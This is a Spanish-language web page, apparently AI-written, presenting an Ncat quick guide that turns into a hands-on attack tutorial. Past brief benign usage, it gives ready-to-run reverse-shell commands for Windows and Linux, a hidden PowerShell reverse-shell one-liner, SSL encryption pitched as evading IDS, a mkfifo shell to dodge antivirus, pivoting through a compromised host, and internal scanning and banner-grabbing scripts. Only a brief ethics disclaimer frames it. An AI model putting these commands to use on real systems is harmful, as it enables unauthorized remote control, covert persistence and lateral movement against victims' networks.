Ncat-w32 en Español: Guía Rápida

https://www.onlinetis.com/es/

Ncat-w32 en Español: Guía Rápida

Parece que estás buscando información sobre Ncat (la versión moderna de Netcat) para Windows, específicamente dentro del ecosistema de Kali Linux o para uso en auditorías de red.

Ncat es una herramienta extremadamente versátil que permite leer y escribir datos a través de redes usando protocolos TCP y UDP. Es considerada la "navaja suiza" de los administradores de red y especialistas en seguridad.

¿Qué es Ncat-w32?

Originalmente, Netcat (nc) era la herramienta estándar, pero Ncat fue creada por el equipo de Nmap para ser una versión más segura y con más funciones (como soporte para SSL/TLS e IPv6). El término w32 se refiere específicamente al ejecutable compilado para sistemas Windows de 32 y 64 bits.

Funciones Principales

Crear conexiones: Actuar como un cliente para conectarse a un puerto específico.
Escuchar puertos: Actuar como un servidor para recibir conexiones.
Transferencia de archivos: Enviar archivos de una máquina a otra de forma directa.
Redirección de puertos: Reenviar tráfico de un puerto a otro.
Cifrado SSL: A diferencia del Netcat original, Ncat permite comunicaciones cifradas.

Comandos Básicos en Español

Aquí tienes una guía rápida de cómo usarlo desde la línea de comandos (cmd o PowerShell):

1. Escuchar en un puerto (Modo Servidor)

Si quieres que tu PC espere una conexión en el puerto 4444:

ncat -lvp 4444

-l: Modo escucha (listen).
-v: Modo detallado (verbose), te dice qué está pasando.
-p: Especifica el puerto.

2. Conectarse a un puerto (Modo Cliente)

Para conectarte a otra máquina (por ejemplo, IP 192.168.1.10) en el puerto 80:

ncat 192.168.1.10 80

3. Transferir un archivo

En el receptor: ncat -l -p 4444 > archivo_recibido.txt
En el emisor: ncat 192.168.1.10 4444 < archivo_a_enviar.txt

4. Crear un Chat Simple

Si dos personas usan Ncat apuntando a la IP de la otra en el mismo puerto, todo lo que escriban y den "Enter" aparecerá en la otra pantalla.

¿Cómo obtenerlo para Windows?

Aunque Kali Linux lo trae por defecto, para Windows suele venir incluido en el paquete de instalación de Nmap.

Ve al sitio oficial de nmap.org.
Descarga el instalador de Windows (nmap-setup.exe).
Durante la instalación, asegúrate de que la casilla de Ncat esté marcada.
Una vez instalado, puedes escribir ncat en tu terminal de Windows.

Nota de seguridad: Ten en cuenta que muchos antivirus detectan a ncat.exe o nc.exe como una herramienta potencialmente peligrosa (Riskware) porque los atacantes la usan para crear "Reverse Shells". Si vas a practicar, es posible que debas añadir una excepción en tu antivirus.

Entender cómo funciona una Reverse Shell (o shell inversa) es fundamental en el mundo de la ciberseguridad. A diferencia de una shell directa (donde tú te conectas al servidor), en una reverse shell es el objetivo quien inicia la conexión hacia tu máquina.

Esto es extremadamente útil porque la mayoría de los firewalls permiten el tráfico de salida (del servidor a internet) pero bloquean el de entrada.

Concepto Visual: Bind Shell vs. Reverse Shell

Para entender la lógica detrás del comando, es útil visualizar el flujo de la conexión:

Configuración Paso a Paso con Ncat

Para este ejercicio, supongamos que:

Tu IP (Atacante): 192.168.1.50
Puerto de escucha: 4444

1. Preparar el Receptor (Tu máquina Kali)

Primero, debes poner tu máquina en modo "escucha" para esperar la conexión entrante. Ejecuta esto en tu terminal de Kali:

Bash

ncat -lvp 4444

-l: Escuchar (Listen).
-v: Verbose (para ver cuando alguien se conecte).
-p 4444: El puerto que elegiste.

2. Ejecutar la Shell en el Objetivo (Víctima)

Ahora, en la máquina que estás auditando (el objetivo), debes ejecutar el comando que "lance" la terminal hacia tu IP.

Si el objetivo es Windows (usando ncat-w32):

DOS
ncat 192.168.1.50 4444 -e cmd.exe

Si el objetivo es Linux:

Bash

ncat 192.168.1.50 4444 -e /bin/bash

-e: Esta es la opción "Execute". Le dice a Ncat que, en cuanto se conecte, ejecute el programa indicado (cmd.exe o /bin/bash) y redirija la entrada/salida a la red.

El Problema del Antivirus (AV)

Hoy en día, la mayoría de los antivirus y EDRs detectan el flag -e de Ncat inmediatamente como malicioso. Si estás en un entorno controlado y no te funciona, es probable que el Windows Defender lo esté bloqueando.

Alternativa moderna: Reverse Shell con PowerShell

Si el -e de Ncat falla, los auditores suelen usar "one-liners" de PowerShell que son más difíciles de detectar:

PowerShell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.1.50",4444);$S=$C.GetStream();[byte[]]$B=0..65535|%{0};while(($i=$S.Read($B,0,$B.Length)) -ne 0){;$D=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($B,0,$i);$t=(iex $D 2>&1 | Out-String );$f=$t+'PS '+(pwd).Path+'> ';$g=([text.encoding]::ASCII).GetBytes($f);$S.Write($g,0,$g.Length);$S.Flush()};$C.Close()

Aviso de Ética: Recuerda que estas técnicas solo deben emplearse en entornos de laboratorio o bajo autorización explícita en un contrato de Pentesting. El acceso no autorizado a sistemas es ilegal.

Configurar una Reverse Shell cifrada con SSL es un paso fundamental para un Pentesting más profesional.

Si no usas cifrado, cualquier administrador de red que esté monitoreando el tráfico con herramientas como Wireshark podrá ver exactamente qué comandos estás ejecutando y qué datos estás recibiendo en texto plano. Con SSL, el tráfico se vuelve ilegible para intermediarios.

Cómo configurar una Reverse Shell con SSL

Ncat facilita esto enormemente porque tiene un motor SSL integrado. Aquí te explico cómo hacerlo:

1. Preparar el Receptor (Atacante - Kali Linux)

Para que el cifrado funcione, el receptor debe estar preparado para manejar una conexión segura. Usamos el flag --ssl.

Bash

ncat -lvp 4444 --ssl

Al ejecutar esto, Ncat generará automáticamente un certificado temporal para cifrar la sesión.

2. Ejecutar la Shell en el Objetivo (Víctima - Windows/Linux)

En la máquina objetivo, también debemos indicar que la conexión saliente debe ser cifrada:

En Windows (ncat-w32):

DOS
ncat 192.168.1.50 4444 --ssl -e cmd.exe

En Linux:

Bash

ncat 192.168.1.50 4444 --ssl -e /bin/bash

Comparativa: Tráfico Normal vs. Tráfico Cifrado

Para que veas la importancia de esto, imagina que alguien está "escuchando" el cable de red:

Característica	Ncat Estándar	Ncat con --ssl
Visibilidad	Texto plano (se ve todo)	Cifrado (ilegible)
Detección IDS	Alta (firmas de comandos comunes)	Baja (parece tráfico HTTPS normal)
Seguridad	Alguien podría "robarte" la shell	Solo tú y el objetivo tienen la llave

¿Qué pasa si el antivirus bloquea el `-e`?

Como mencionamos antes, el parámetro -e (execute) es muy "ruidoso" para los antivirus. Una técnica común en auditorías es usar redirecciones de tuberías (pipes) en sistemas Linux, que es más discreto:

Bash

# En el objetivo Linux (sin usar -e)
mkfifo /tmp/f; nc 192.168.1.50 4444 0</tmp/f | /bin/sh -i 2>&1 | tee /tmp/f

Este comando crea un "túnel" manual entre la shell y la red sin invocar directamente la función de ejecución de Ncat que los antivirus vigilan.

Un pequeño "Tip" Pro:

Si quieres que tu shell sea más estable y tenga autocompletado (Tab), una vez que recibas la conexión en Kali, puedes mejorarla escribiendo:

python3 -c 'import pty; pty.spawn("/bin/bash")' (si el objetivo es Linux).

El Port Forwarding (o redirección de puertos) con Ncat es como crear un "puente" o un túnel. Es una técnica esencial cuando logras entrar en una máquina de una red (llamémosla Máquina A) y quieres llegar a otra máquina interna (Máquina B) a la que no tienes acceso directo desde internet.

Imagina que la Máquina A es una pasarela. Tú te conectas a ella, y ella reenvía todo tu tráfico a la Máquina B.

Escenario Típico: El Salto (Pivoting)

Atacante (Tú): Estás fuera de la red.
Máquina A (Pasarela): Tiene dos tarjetas de red (una hacia internet y otra hacia la red interna 10.0.0.x).
Máquina B (Objetivo Interno): Un servidor de base de datos en la IP 10.0.0.50 que solo acepta conexiones internas en el puerto 3306.

El comando en la Máquina A (El Puente)

Para redirigir el tráfico del puerto 8080 de la Máquina A hacia el puerto 3306 de la Máquina B, ejecutarías esto en la Máquina A:

Bash

ncat -l 8080 --sh-exec "ncat 10.0.0.50 3306"

¿Qué está pasando aquí?

Ncat se pone a escuchar en el puerto 8080.
Cuando tú te conectas al puerto 8080 de la Máquina A, esta inmediatamente abre otra conexión hacia la Máquina B (10.0.0.50) en el puerto 3306.
Todo lo que envíes al 8080 llegará "mágicamente" a la base de datos interna.

Port Forwarding con SSL (Máxima Discreción)

Si quieres que este túnel sea indetectable para los sistemas de inspección de tráfico (IDS/IPS), puedes cifrar ambos extremos del túnel:

Bash

ncat -l 8080 --ssl --sh-exec "ncat --ssl 10.0.0.50 3306"

De esta forma, el tráfico viaja cifrado desde tu máquina hasta la pasarela, y de la pasarela al objetivo final.

Diferencia con el Port Forwarding de SSH

Mucha gente usa SSH para esto (ssh -L), pero Ncat tiene ventajas en ciertos escenarios:

No requiere usuario/contraseña: Si ya tienes una shell en la máquina, no necesitas saber las credenciales de SSH para levantar el túnel.
Ligero: Ncat no necesita configurar archivos complejos de servidor; es un solo ejecutable.
UDP: Ncat puede redirigir puertos UDP, algo que el túnel estándar de SSH no hace fácilmente.

¿Cómo saber qué puertos están abiertos en la red interna?

Antes de hacer el puente, necesitas saber a dónde saltar. Puedes usar Ncat para hacer un escaneo rápido de puertos en la red interna desde la máquina comprometida:

Bash

ncat -zv 10.0.0.50 1-1024

-z: Modo "Zero-I/O" (solo escanea, no envía datos).
-v: Verbose (te dirá qué puertos están open).

Automatizar el descubrimiento es el siguiente paso lógico. Cuando ya estás dentro de una máquina (la "pasarela"), no quieres ir probando puerto por puerto manualmente. Un pequeño script puede mapear la red interna en segundos.

Aquí tienes cómo hacerlo dependiendo de si estás en una máquina Linux (Bash) o Windows (PowerShell).

1. Script para Linux (Bash + Ncat)

Este script recorrerá un rango de IPs (por ejemplo, de la .1 a la .254) y probará si un puerto específico (como el 80 de HTTP o el 443 de HTTPS) está abierto.

Bash
#!/bin/bash
# Escáner de red básico con Ncat
red="10.0.0"
puerto=80

echo "Escaneando la red $red.0/24 en el puerto $puerto..."

for i in {1..254}; do
    # -z: modo escaneo (sin enviar datos)
    # -w 1: timeout de 1 segundo para no esperar demasiado
    ncat -z -w 1 $red.$i $puerto 2>/dev/null && echo "Host $red.$i tiene el puerto $puerto ABIERTO" &
done
wait
echo "Escaneo finalizado."

Tip: El símbolo & al final del comando ncat hace que el escaneo sea paralelo (multihilo), por lo que terminará muchísimo más rápido que si fuera uno por uno.

2. Script para Windows (PowerShell + ncat-w32)

Si el equipo comprometido es un Windows y tiene ncat.exe en la carpeta de descargas o en el PATH, puedes usar este bucle:

PowerShell
# Escaneo de IPs de la 1 a la 20 en el puerto 445 (SMB)
1..20 | ForEach-Object {
    $ip = "192.168.1.$_"
    $result = ncat -zv -w 1 $ip 445 2>&1
    if ($result -match "Connected") {
        Write-Host "Host $ip - Puerto 445 ABIERTO" -ForegroundColor Green
    }
}

¿Qué buscar al escanear internamente?

Cuando haces este tipo de reconocimientos, hay "puertos joya" que suelen indicar objetivos vulnerables o críticos:

Puerto	Servicio	Por qué es interesante
21	FTP	Posibles archivos compartidos sin contraseña.
22	SSH	Acceso remoto (puedes intentar fuerza bruta).
80 / 443	HTTP/S	Paneles de administración internos (routers, cámaras, intranets).
445	SMB	Compartición de archivos en Windows (vulnerable a EternalBlue si es viejo).
3389	RDP	Escritorio remoto.
3306 / 5432	DB	Bases de datos SQL con información sensible.

El siguiente nivel: Escaneo de banners (Banner Grabbing)

Una vez que sabes que un puerto está abierto, lo más importante es saber qué versión de software corre ahí. Ncat puede decírtelo simplemente conectándose y esperando a que el servidor se presente:

ncat -v 10.0.0.50 80 (Luego escribes HEAD / HTTP/1.0 y das dos veces al Enter).

El Banner Grabbing es como llamar a una puerta y esperar a que la persona que responda te diga su nombre y su cargo. Es la forma más rápida de saber si te enfrentas a un servidor Apache antiguo, un Windows Server 2019 o una base de datos mal configurada.

Con Ncat, podemos automatizar esto enviando una pequeña petición y capturando la primera respuesta del servidor.

1. El concepto: ¿Qué es un Banner?

Cuando te conectas a un puerto abierto, muchos servicios envían una cadena de texto de bienvenida. Por ejemplo:

SSH: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5
FTP: 220 (vsFTPd 3.0.3)
HTTP: Requiere que tú digas "Hola" primero (una petición HEAD o GET).

2. Script de Banner Grabbing (Bash)

Este script no solo te dice si el puerto está abierto, sino que intenta "sacarle información" al servicio.

Bash
#!/bin/bash
# Script de Banner Grabbing con Ncat
red="10.0.0"
puerto=22 # Probemos con SSH, que es muy parlanchín

echo "Extrayendo banners en la red $red.0/24..."

for i in {1..254}; do
    # Conectamos, esperamos 2 segundos y cerramos.
    # Usamos echo "" para forzar una respuesta en algunos protocolos.
    banner=$(echo "" | ncat -w 2 $red.$i $puerto 2>/dev/null | head -n 1)
    
    if [ ! -z "$banner" ]; then
        echo "Host $red.$i ($puerto): $banner"
    fi
done

3. Identificando Servidores Web (HTTP)

Los servidores web son un poco más tímidos. No te dirán nada a menos que les preguntes. Podemos modificar el comando de Ncat para enviar una cabecera HTTP básica:

Bash
# Comando manual para un solo objetivo
echo -e "HEAD / HTTP/1.1\r\nHost: 10.0.0.50\r\n\r\n" | ncat 10.0.0.50 80

Lo que verás en la respuesta:

Plaintext

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)  <-- ¡AQUÍ ESTÁ EL BANNER!
Date: Tue, 24 Mar 2026...

¿Por qué es vital esta información?

Una vez que tienes el banner (por ejemplo, Apache 2.4.49), tu siguiente paso es ir a sitios como Exploit-DB o usar searchsploit en Kali para buscar vulnerabilidades específicas para esa versión exacta.

Resumen de tu arsenal actual:

Reverse Shell: Tienes acceso a la máquina.
Cifrado SSL: Tu tráfico es invisible.
Pivoting: Puedes saltar a la red interna.
Escaneo/Banners: Sabes qué otros equipos hay y qué software corren.

Buscar este blog